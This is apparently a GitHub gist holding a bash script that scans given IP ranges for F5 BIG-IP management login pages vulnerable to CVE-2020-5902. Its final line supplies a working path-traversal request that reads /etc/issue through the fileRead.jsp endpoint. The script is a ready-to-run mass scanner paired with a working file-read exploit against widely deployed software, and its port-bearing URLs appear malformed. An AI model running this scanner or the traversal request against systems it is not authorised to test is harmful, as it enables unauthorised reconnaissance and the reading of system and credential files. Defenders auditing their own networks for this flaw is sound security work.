Created
August 19, 2020 10:02
-
-
Save roddux/5466a427439e5e6ac01c465b9d246b1e to your computer and use it in GitHub Desktop.
CVE-2020-5902 scanner
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# usage: ./f5scan.sh <CIDR 1> <CIDR 2> | |
# requires: xargs, curl, nmap, awk | |
TIMEOUT=1 | |
THREADS=20 | |
scan() { | |
URL=$1 | |
echo "CHECK: $URL" | |
res=$(curl -skm$TIMEOUT $URL -w'%{http_code}' -o/dev/null) | |
if [ $res == "200" ]; then # Good response | |
echo "MAYBE: $URL" | |
elif [ $res == "000" ]; then # Connection error | |
echo "ERROR: $URL" | |
elif ( # Redirect / error / other | |
[ $res == "301" ] || | |
[ $res == "302" ] || | |
[ $res == "401" ] || | |
[ $res == "403" ] || | |
[ $res == "404" ] || | |
[ $res == "502" ] | |
); then | |
echo "OKAY: $URL"; | |
else # Alert user to other response codes | |
echo "WEIRD: $URL = $res" | |
fi | |
} | |
buildIPList() { # Convert given CIDR to IPs | |
nmap -n -sL $* -oG - | awk '/^Host/ {print $2}' | |
} | |
buildURLList() { | |
while read HOST; do | |
echo "http://$HOST/tmui/login.jsp" | |
echo "https://$HOST/tmui/login.jsp" | |
echo "http://$HOST/tmui/login.jsp:8000" | |
echo "http://$HOST/tmui/login.jsp:8080" | |
echo "https://$HOST/tmui/login.jsp:8443" | |
done<<<$1 | |
} | |
echo "Building IP list..." | |
iplist=$(buildIPList $*) | |
echo "Building URL list..." | |
urllist=$(buildURLList "$iplist") | |
echo "Starting scan" | |
export -f scan | |
export TIMEOUT | |
echo "$urllist" | xargs -I{} -P$THREADS bash -c 'scan {}' | |
echo "Find MAYBEs and check with: curl -sk \"<url>/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/issue\"" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment